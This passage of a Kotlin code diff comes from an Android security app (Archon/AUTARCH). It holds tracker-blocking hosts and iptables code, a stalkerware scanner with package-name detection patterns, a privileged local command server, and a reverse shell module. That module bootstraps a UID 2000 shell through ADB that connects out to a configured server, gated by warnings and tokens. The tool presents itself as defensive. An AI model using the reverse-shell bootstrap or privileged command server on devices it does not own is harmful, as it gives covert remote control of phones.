var stopped = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (check.stdout.contains(pkg)) {
PrivilegeManager.execute("am force-stop $pkg")
stopped++
details.add("Stopped: $pkg")
}
}
return ModuleResult(
success = true,
output = "$stopped tracker(s) force-stopped",
details = details
)
}
// ── Tier 3: Root only ───────────────────────────────────────────
private fun deployHostsBlocklist(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for hosts file modification")
}
val trackerDomains = listOf(
"graph.facebook.com", "pixel.facebook.com", "an.facebook.com",
"analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com",
"analytics.tiktok.com", "log.byteoversea.com",
"graph.instagram.com",
"ads-api.twitter.com", "analytics.twitter.com",
"tr.snapchat.com", "sc-analytics.appspot.com",
)
val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" }
val cmds = listOf(
"mount -o remount,rw /system 2>/dev/null || true",
"cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true",
"echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts",
"mount -o remount,ro /system 2>/dev/null || true",
)
for (cmd in cmds) {
PrivilegeManager.execute(cmd)
}
return ModuleResult(
success = true,
output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts"
)
}
private fun setupIptablesRedirect(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for iptables")
}
val cmds = listOf(
"iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true",
"iptables -t nat -F AUTARCH_HONEYPOT",
// Redirect known tracker IPs to localhost (honeypot)
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443",
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443",
"iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT",
)
val details = mutableListOf<String>()
for (cmd in cmds) {
val r = PrivilegeManager.execute(cmd)
if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}")
}
return ModuleResult(
success = true,
output = "Iptables honeypot chain configured",
details = details
)
}
private fun randomizeIdentity(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for identity randomization")
}
val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("")
val cmds = listOf(
"settings put secure android_id $randomId",
"settings delete secure advertising_id",
"settings put secure limit_ad_tracking 1",
)
val details = mutableListOf<String>()
for (cmd in cmds) {
val r = PrivilegeManager.execute(cmd)
details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}")
}
return ModuleResult(
success = true,
output = "Identity randomized (android_id=$randomId)",
details = details
)
}
}

View File

@ -0,0 +1,41 @@
package com.darkhal.archon.module
import android.content.Context
import android.util.Log
/**
* Central registry for Archon modules.
* Modules register at init time and can be discovered/invoked by the UI.
*/
object ModuleManager {
private const val TAG = "ModuleManager"
private val modules = mutableListOf<ArchonModule>()
private var initialized = false
fun init() {
if (initialized) return
register(ShieldModule())
register(HoneypotModule())
register(ReverseShellModule())
initialized = true
Log.i(TAG, "Initialized with ${modules.size} modules")
}
fun register(module: ArchonModule) {
if (modules.none { it.id == module.id }) {
modules.add(module)
Log.i(TAG, "Registered module: ${module.id} (${module.name})")
}
}
fun getAll(): List<ArchonModule> = modules.toList()
fun get(id: String): ArchonModule? = modules.find { it.id == id }
fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult {
val module = get(moduleId)
?: return ModuleResult(false, "Module not found: $moduleId")
return module.executeAction(actionId, context)
}
}

View File

@ -0,0 +1,274 @@
package com.darkhal.archon.module
import android.content.Context
import android.util.Log
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.util.PrefsManager
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.OutputStreamWriter
import java.io.PrintWriter
import java.net.InetSocketAddress
import java.net.Socket
import java.util.UUID
/**
* Reverse Shell module connects back to the AUTARCH server for remote device management.
*
* SAFETY GATES:
* 1. Disabled by default must be explicitly enabled
* 2. Three warning prompts before enabling (enforced in UI)
* 3. Kill switch disconnect at any time from app or by force-stopping
* 4. Audit log all commands logged at /data/local/tmp/archon_shell.log
* 5. Auto-timeout connection drops after configurable time (default 30 min)
* 6. Server verification only connects to configured AUTARCH server IP
* 7. Token auth random token per session
*
* The shell process (ArchonShell.java) runs via app_process at UID 2000,
* same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener.
*/
class ReverseShellModule : ArchonModule {
override val id = "revshell"
override val name = "Reverse Shell"
override val description = "Remote shell connection to AUTARCH server for device investigation"
override val version = "1.0"
companion object {
private const val TAG = "ReverseShellModule"
private const val PREFS_NAME = "archon_revshell"
private const val KEY_ENABLED = "revshell_enabled"
private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted"
private const val KEY_PORT = "revshell_port"
private const val KEY_TIMEOUT = "revshell_timeout_min"
private const val KEY_SESSION_TOKEN = "revshell_session_token"
private const val DEFAULT_PORT = 17322
private const val DEFAULT_TIMEOUT = 30 // minutes
private const val SHELL_PROCESS_NAME = "archon_shell"
// Warning messages shown before enabling (UI enforces showing all 3)
val WARNINGS = listOf(
"This enables a reverse shell connection to your AUTARCH server. " +
"This gives remote shell access (UID 2000) to this device.",
"Only enable this on devices YOU own. Never enable on someone else's device. " +
"This is a defensive tool for investigating threats on your own phone.",
"The reverse shell will connect to your configured AUTARCH server. " +
"You can disable it at any time from this screen or by force-stopping the app."
)
}
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false),
ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false),
ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"),
ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"),
ModuleAction("status", "Status", "Check connection status", privilegeRequired = false),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when (actionId) {
"enable" -> enable(context)
"disable" -> disable(context)
"connect" -> connect(context)
"disconnect" -> disconnect(context)
"status" -> status(context)
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val enabled = prefs.getBoolean(KEY_ENABLED, false)
val connected = isShellRunning()
val summary = when {
connected -> "Connected to AUTARCH"
enabled -> "Enabled — not connected"
else -> "Disabled"
}
return ModuleStatus(
active = connected,
summary = summary,
details = mapOf(
"enabled" to enabled.toString(),
"connected" to connected.toString(),
"port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(),
"timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min"
)
)
}
// ── Actions ─────────────────────────────────────────────────────
private fun enable(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
// Check if warnings were accepted (UI sets this after showing all 3)
if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) {
return ModuleResult(
false,
"Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.",
WARNINGS
)
}
prefs.edit().putBoolean(KEY_ENABLED, true).apply()
Log.i(TAG, "Reverse shell ENABLED")
return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.")
}
private fun disable(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
// Kill any active shell first
if (isShellRunning()) {
killShell()
}
prefs.edit()
.putBoolean(KEY_ENABLED, false)
.putBoolean(KEY_WARNING_ACCEPTED, false)
.remove(KEY_SESSION_TOKEN)
.apply()
Log.i(TAG, "Reverse shell DISABLED")
return ModuleResult(true, "Reverse shell disabled. All connections terminated.")
}
private fun connect(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
if (!prefs.getBoolean(KEY_ENABLED, false)) {
return ModuleResult(false, "Reverse shell is disabled. Enable it first.")
}
if (isShellRunning()) {
return ModuleResult(false, "Shell is already connected. Disconnect first.")
}
// Get server IP from main prefs
val serverIp = PrefsManager.getServerIp(context)
if (serverIp.isEmpty()) {
return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.")
}
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
// Generate session token
val token = UUID.randomUUID().toString().replace("-", "").take(32)
prefs.edit().putString(KEY_SESSION_TOKEN, token).apply()
// Get APK path for app_process bootstrap
val apkPath = context.applicationInfo.sourceDir
if (apkPath.isNullOrEmpty()) {
return ModuleResult(false, "Could not determine APK path")
}
// Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs)
val bootstrapCmd = buildString {
append("TMPDIR=/data/local/tmp ")
append("CLASSPATH='$apkPath' ")
append("/system/bin/app_process /system/bin ")
append("com.darkhal.archon.server.ArchonShell ")
append("$serverIp $port $token $timeout")
}
val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started"
Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)")
// Execute via LocalAdbClient (same as ArchonServer bootstrap)
val result = if (LocalAdbClient.isConnected()) {
LocalAdbClient.execute(fullCmd)
} else {
return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first")
}
if (result.exitCode != 0 && !result.stdout.contains("started")) {
return ModuleResult(false, "Failed to start shell: ${result.stderr}")
}
// Wait briefly for connection to establish
Thread.sleep(2000)
return if (isShellRunning()) {
ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)")
} else {
ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.")
}
}
private fun disconnect(context: Context): ModuleResult {
if (!isShellRunning()) {
return ModuleResult(true, "No active shell connection")
}
killShell()
context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
.edit().remove(KEY_SESSION_TOKEN).apply()
Thread.sleep(500)
return if (!isShellRunning()) {
ModuleResult(true, "Shell disconnected")
} else {
ModuleResult(false, "Shell process may still be running — try force-stopping the app")
}
}
private fun status(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val enabled = prefs.getBoolean(KEY_ENABLED, false)
val connected = isShellRunning()
val serverIp = PrefsManager.getServerIp(context)
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
val details = mutableListOf<String>()
details.add("Enabled: $enabled")
details.add("Connected: $connected")
details.add("Server: $serverIp:$port")
details.add("Timeout: ${timeout} minutes")
if (connected) {
// Try to read the log tail
val logTail = try {
val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null"))
p.inputStream.bufferedReader().readText().trim()
} catch (e: Exception) { "" }
if (logTail.isNotEmpty()) {
details.add("--- Recent log ---")
details.add(logTail)
}
}
return ModuleResult(
success = true,
output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled",
details = details
)
}
// ── Internal ────────────────────────────────────────────────────
private fun isShellRunning(): Boolean {
return try {
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME"))
val output = process.inputStream.bufferedReader().readText().trim()
process.waitFor()
output.isNotEmpty()
} catch (e: Exception) {
false
}
}
private fun killShell() {
try {
Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME"))
Log.i(TAG, "Killed reverse shell process")
} catch (e: Exception) {
Log.e(TAG, "Failed to kill shell", e)
}
}
}

View File

@ -0,0 +1,319 @@
package com.darkhal.archon.module
import android.content.Context
import com.darkhal.archon.util.PrivilegeManager
/**
* Protection Shield module scans for and removes stalkerware/spyware.
* Ported from AUTARCH core/android_protect.py.
*
* All commands run through PrivilegeManager ArchonServer (UID 2000).
*/
class ShieldModule : ArchonModule {
override val id = "shield"
override val name = "Protection Shield"
override val description = "Scan & remove stalkerware, spyware, and surveillance tools"
override val version = "1.0"
// Known stalkerware/spyware package patterns
private val stalkerwarePatterns = listOf(
"mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy",
"pctattoetool", "thewispy", "umobix", "xnspy", "cerberus",
"trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor",
"gps.tracker.spy", "spyapp", "phonetracker", "stalkerware",
"keylogger", "screenrecorder.secret", "hidden.camera",
"com.android.providers.telephony.backup", // Fake system package
"com.system.service", "com.android.system.manager", // Common disguises
)
// Suspicious permissions that stalkerware typically uses
private val suspiciousPerms = listOf(
"android.permission.READ_CALL_LOG",
"android.permission.READ_SMS",
"android.permission.READ_CONTACTS",
"android.permission.RECORD_AUDIO",
"android.permission.CAMERA",
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.READ_EXTERNAL_STORAGE",
"android.permission.BIND_ACCESSIBILITY_SERVICE",
"android.permission.BIND_DEVICE_ADMIN",
"android.permission.PACKAGE_USAGE_STATS",
"android.permission.SYSTEM_ALERT_WINDOW",
)
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction("full_scan", "Full Scan", "Run all security scans"),
ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"),
ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"),
ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"),
ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"),
ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"),
ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"),
ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"),
ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"),
ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"),
ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"),
ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"),
ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when {
actionId == "full_scan" -> fullScan(context)
actionId == "scan_packages" -> scanPackages()
actionId == "scan_permissions" -> scanPermissions()
actionId == "scan_device_admins" -> scanDeviceAdmins()
actionId == "scan_accessibility" -> scanAccessibility()
actionId == "scan_certificates" -> scanCertificates()
actionId == "scan_network" -> scanNetwork()
actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:<package>")
actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:<package>")
actionId == "clear_proxy" -> clearProxy()
actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":"))
actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":"))
actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":"))
actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":"))
actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":"))
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
return ModuleStatus(
active = PrivilegeManager.isReady(),
summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup"
)
}
// ── Scan actions ────────────────────────────────────────────────
private fun fullScan(context: Context): ModuleResult {
val results = mutableListOf<String>()
var threats = 0
val scans = listOf(
"Packages" to ::scanPackages,
"Permissions" to ::scanPermissions,
"Device Admins" to ::scanDeviceAdmins,
"Accessibility" to ::scanAccessibility,
"Certificates" to ::scanCertificates,
"Network" to ::scanNetwork,
)
for ((name, scan) in scans) {
val result = scan()
results.add("=== $name ===")
results.add(result.output)
if (result.details.isNotEmpty()) {
threats += result.details.size
results.addAll(result.details)
}
}
return ModuleResult(
success = true,
output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected",
details = results
)
}
private fun scanPackages(): ModuleResult {
val result = PrivilegeManager.execute("pm list packages")
if (result.exitCode != 0) {
return ModuleResult(false, "Failed to list packages: ${result.stderr}")
}
val packages = result.stdout.lines()
.filter { it.startsWith("package:") }
.map { it.removePrefix("package:") }
val found = mutableListOf<String>()
for (pkg in packages) {
val lower = pkg.lowercase()
for (pattern in stalkerwarePatterns) {
if (lower.contains(pattern)) {
found.add("[!] $pkg (matches: $pattern)")
break
}
}
}
return ModuleResult(
success = true,
output = "Scanned ${packages.size} packages, ${found.size} suspicious",
details = found
)
}
private fun scanPermissions(): ModuleResult {
// Get packages with dangerous permissions
val result = PrivilegeManager.execute(
"pm list packages -f | head -500"
)
if (result.exitCode != 0) {
return ModuleResult(false, "Failed: ${result.stderr}")
}
val packages = result.stdout.lines()
.filter { it.startsWith("package:") }
.map { it.substringAfterLast("=") }
.take(200) // Limit for performance
val suspicious = mutableListOf<String>()
for (pkg in packages) {
val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30")
if (dump.exitCode != 0) continue
val perms = dump.stdout.lines().map { it.trim() }
val dangerousCount = perms.count { line ->
suspiciousPerms.any { perm -> line.contains(perm) }
}
if (dangerousCount >= 5) {
suspicious.add("[!] $pkg has $dangerousCount suspicious permissions")
}
}
return ModuleResult(
success = true,
output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious",
details = suspicious
)
}
private fun scanDeviceAdmins(): ModuleResult {
val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'")
if (result.exitCode != 0 && result.stdout.isEmpty()) {
return ModuleResult(true, "No device admins found or could not query", emptyList())
}
val admins = result.stdout.lines().filter { it.isNotBlank() }
return ModuleResult(
success = true,
output = "${admins.size} device admin entries found",
details = admins.map { it.trim() }
)
}
private fun scanAccessibility(): ModuleResult {
val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services")
val services = result.stdout.trim()
return if (services.isNotEmpty() && services != "null") {
val list = services.split(":").filter { it.isNotBlank() }
ModuleResult(
success = true,
output = "${list.size} accessibility service(s) enabled",
details = list.map { "[!] $it" }
)
} else {
ModuleResult(true, "No accessibility services enabled", emptyList())
}
}
private fun scanCertificates(): ModuleResult {
val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null")
return if (result.exitCode == 0 && result.stdout.isNotBlank()) {
val certs = result.stdout.lines().filter { it.isNotBlank() }
ModuleResult(
success = true,
output = "${certs.size} user-installed CA certificate(s)",
details = certs.map { "[!] Certificate: $it" }
)
} else {
ModuleResult(true, "No user-installed CA certificates", emptyList())
}
}
private fun scanNetwork(): ModuleResult {
val findings = mutableListOf<String>()
// Check HTTP proxy
val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim()
if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") {
findings.add("[!] HTTP proxy set: $proxy")
}
// Check private DNS
val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim()
val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim()
if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") {
findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)")
}
// Check VPN always-on
val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim()
if (vpn.isNotEmpty() && vpn != "null") {
findings.add("[!] Always-on VPN: $vpn")
}
// Check global proxy pac
val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim()
if (pac.isNotEmpty() && pac != "null") {
findings.add("[!] Proxy PAC configured: $pac")
}
return ModuleResult(
success = true,
output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)",
details = findings
)
}
// ── Remediation actions ─────────────────────────────────────────
private fun disableApp(pkg: String): ModuleResult {
val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}"
)
}
private fun uninstallApp(pkg: String): ModuleResult {
val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}"
)
}
private fun revokePermissions(pkg: String): ModuleResult {
val revoked = mutableListOf<String>()
for (perm in suspiciousPerms) {
val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
if (result.exitCode == 0) revoked.add(perm)
}
return ModuleResult(
success = true,
output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg",
details = revoked.map { "Revoked: $it" }
)
}
private fun removeDeviceAdmin(component: String): ModuleResult {
val result = PrivilegeManager.execute("dpm remove-active-admin $component")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}"
)
}
private fun clearProxy(): ModuleResult {
val result = PrivilegeManager.execute("settings put global http_proxy :0")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}"
)
}
private fun removeCertificate(hash: String): ModuleResult {
val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}"
)
}
}

View File

@ -0,0 +1,371 @@
package com.darkhal.archon.server
import android.content.Context
import android.util.Log
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.ShellResult
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.OutputStreamWriter
import java.io.PrintWriter
import java.net.InetSocketAddress
import java.net.Socket
import java.util.UUID
import java.util.concurrent.atomic.AtomicBoolean
/**
* Client for the Archon privileged server process.
*
* Handles:
* - Bootstrapping the server via ADB (app_process command)
* - TCP socket communication with JSON protocol
* - Token-based authentication
* - Server lifecycle management
*/
object ArchonClient {
private const val TAG = "ArchonClient"
private const val DEFAULT_PORT = 17321
private const val PREFS_NAME = "archon_server"
private const val KEY_TOKEN = "server_token"
private const val KEY_PORT = "server_port"
private const val CONNECT_TIMEOUT = 3000
private const val READ_TIMEOUT = 30000
private val serverRunning = AtomicBoolean(false)
private var serverPid: Int = -1
/**
* Check if the Archon server is running and responding.
*/
fun isServerRunning(context: Context): Boolean {
val token = getToken(context) ?: return false
val port = getPort(context)
return try {
val result = sendCommand(token, port, "__ping__")
val alive = result.exitCode == 0 && result.stdout == "pong"
serverRunning.set(alive)
alive
} catch (e: Exception) {
serverRunning.set(false)
false
}
}
/**
* Get server info (UID, PID, uptime) if running.
*/
fun getServerInfo(context: Context): String? {
val token = getToken(context) ?: return null
val port = getPort(context)
return try {
val result = sendCommand(token, port, "__info__")
if (result.exitCode == 0) result.stdout else null
} catch (e: Exception) {
null
}
}
/**
* Start the Archon server via ADB.
*
* Bootstrap flow:
* 1. Get APK path from context
* 2. Generate random auth token
* 3. Build app_process command
* 4. Execute via LocalAdbClient or AUTARCH server ADB
* 5. Wait for server to start
* 6. Verify connection
*/
/**
* Check if any ArchonServer is alive on the port (no auth needed).
*/
fun isServerAlive(): Boolean {
return try {
val result = sendCommand("", DEFAULT_PORT, "__alive__", 3)
result.exitCode == 0 && result.stdout == "alive"
} catch (e: Exception) {
false
}
}
fun startServer(context: Context): StartResult {
// Check if a server is already running (possibly started from web UI)
if (isServerAlive()) {
Log.i(TAG, "Server already alive on port $DEFAULT_PORT")
// If we also have a valid token, verify full auth
if (isServerRunning(context)) {
val info = getServerInfo(context) ?: "running"
return StartResult(true, "Server already running: $info")
}
// Server alive but we don't have the right token
return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)")
}
// Generate new token for this session
val token = UUID.randomUUID().toString().replace("-", "").take(32)
val port = DEFAULT_PORT
// Save token and port
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_TOKEN, token)
.putInt(KEY_PORT, port)
.apply()
// Get APK path
val apkPath = context.applicationInfo.sourceDir
if (apkPath.isNullOrEmpty()) {
return StartResult(false, "Could not determine APK path")
}
// Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern)
// TMPDIR is needed so dalvik-cache can be created by shell user
val bootstrapCmd = buildString {
append("TMPDIR=/data/local/tmp ")
append("CLASSPATH='$apkPath' ")
append("/system/bin/app_process /system/bin ")
append("com.darkhal.archon.server.ArchonServer ")
append("$token $port")
}
// Wrap in nohup + background so it survives ADB disconnect
val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started"
Log.i(TAG, "Bootstrap command: $bootstrapCmd")
// Try to execute — LocalAdbClient first, then AUTARCH server USB ADB
val adbResult = if (LocalAdbClient.isConnected()) {
Log.i(TAG, "Starting server via LocalAdbClient")
val r = LocalAdbClient.execute(fullCmd)
Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}")
r
} else {
Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB")
val httpResult = startServerViaHttp(context, apkPath, token, port)
if (httpResult != null) {
Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}")
httpResult
} else {
Log.e(TAG, "Both ADB methods failed — no connection available")
return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging")
}
}
if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) {
Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}")
return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}")
}
// Wait for server to come up
Log.i(TAG, "Waiting for server to start...")
for (i in 1..10) {
Thread.sleep(500)
if (isServerRunning(context)) {
val info = getServerInfo(context) ?: "running"
Log.i(TAG, "Server started: $info")
return StartResult(true, "Server running: $info")
}
}
return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log")
}
/**
* Execute a shell command via the Archon server.
*/
fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult {
val token = getToken(context)
?: return ShellResult("", "No server token — start server first", -1)
val port = getPort(context)
return try {
sendCommand(token, port, command, timeoutSec)
} catch (e: Exception) {
Log.e(TAG, "Execute failed", e)
serverRunning.set(false)
ShellResult("", "Server communication error: ${e.message}", -1)
}
}
/**
* Stop the Archon server.
*/
fun stopServer(context: Context): Boolean {
val token = getToken(context) ?: return false
val port = getPort(context)
return try {
sendCommand(token, port, "__shutdown__")
serverRunning.set(false)
Log.i(TAG, "Server shutdown requested")
true
} catch (e: Exception) {
Log.e(TAG, "Stop failed", e)
false
}
}
/**
* Generate the bootstrap command string (for display/manual use).
*/
fun getBootstrapCommand(context: Context): String {
val token = getToken(context) ?: "TOKEN"
val port = getPort(context)
val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk"
return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " +
"com.darkhal.archon.server.ArchonServer $token $port"
}
// ── Internal ────────────────────────────────────────────────────
private fun getToken(context: Context): String? {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_TOKEN, null)
}
private fun getPort(context: Context): Int {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getInt(KEY_PORT, DEFAULT_PORT)
}
private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult {
val socket = Socket()
try {
socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT)
socket.soTimeout = (timeoutSec + 5) * 1000
val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true)
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
// Build JSON request
val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}"""
writer.println(request)
// Read JSON response
val response = reader.readLine()
?: return ShellResult("", "No response from server", -1)
return parseResponse(response)
} finally {
try { socket.close() } catch (e: Exception) { /* ignore */ }
}
}
private fun parseResponse(json: String): ShellResult {
val stdout = extractJsonString(json, "stdout") ?: ""
val stderr = extractJsonString(json, "stderr") ?: ""
val exitCode = extractJsonInt(json, "exit_code", -1)
return ShellResult(stdout, stderr, exitCode)
}
private fun extractJsonString(json: String, key: String): String? {
val search = "\"$key\""
var idx = json.indexOf(search)
if (idx < 0) return null
idx = json.indexOf(':', idx + search.length)
if (idx < 0) return null
idx++
while (idx < json.length && json[idx] == ' ') idx++
if (idx >= json.length || json[idx] != '"') return null
idx++
val sb = StringBuilder()
while (idx < json.length) {
val c = json[idx]
if (c == '\\' && idx + 1 < json.length) {
when (json[idx + 1]) {
'"' -> sb.append('"')
'\\' -> sb.append('\\')
'n' -> sb.append('\n')
'r' -> sb.append('\r')
't' -> sb.append('\t')
else -> sb.append(json[idx + 1])
}
idx += 2
} else if (c == '"') {
break
} else {
sb.append(c)
idx++
}
}
return sb.toString()
}
private fun extractJsonInt(json: String, key: String, default: Int): Int {
val search = "\"$key\""
var idx = json.indexOf(search)
if (idx < 0) return default
idx = json.indexOf(':', idx + search.length)
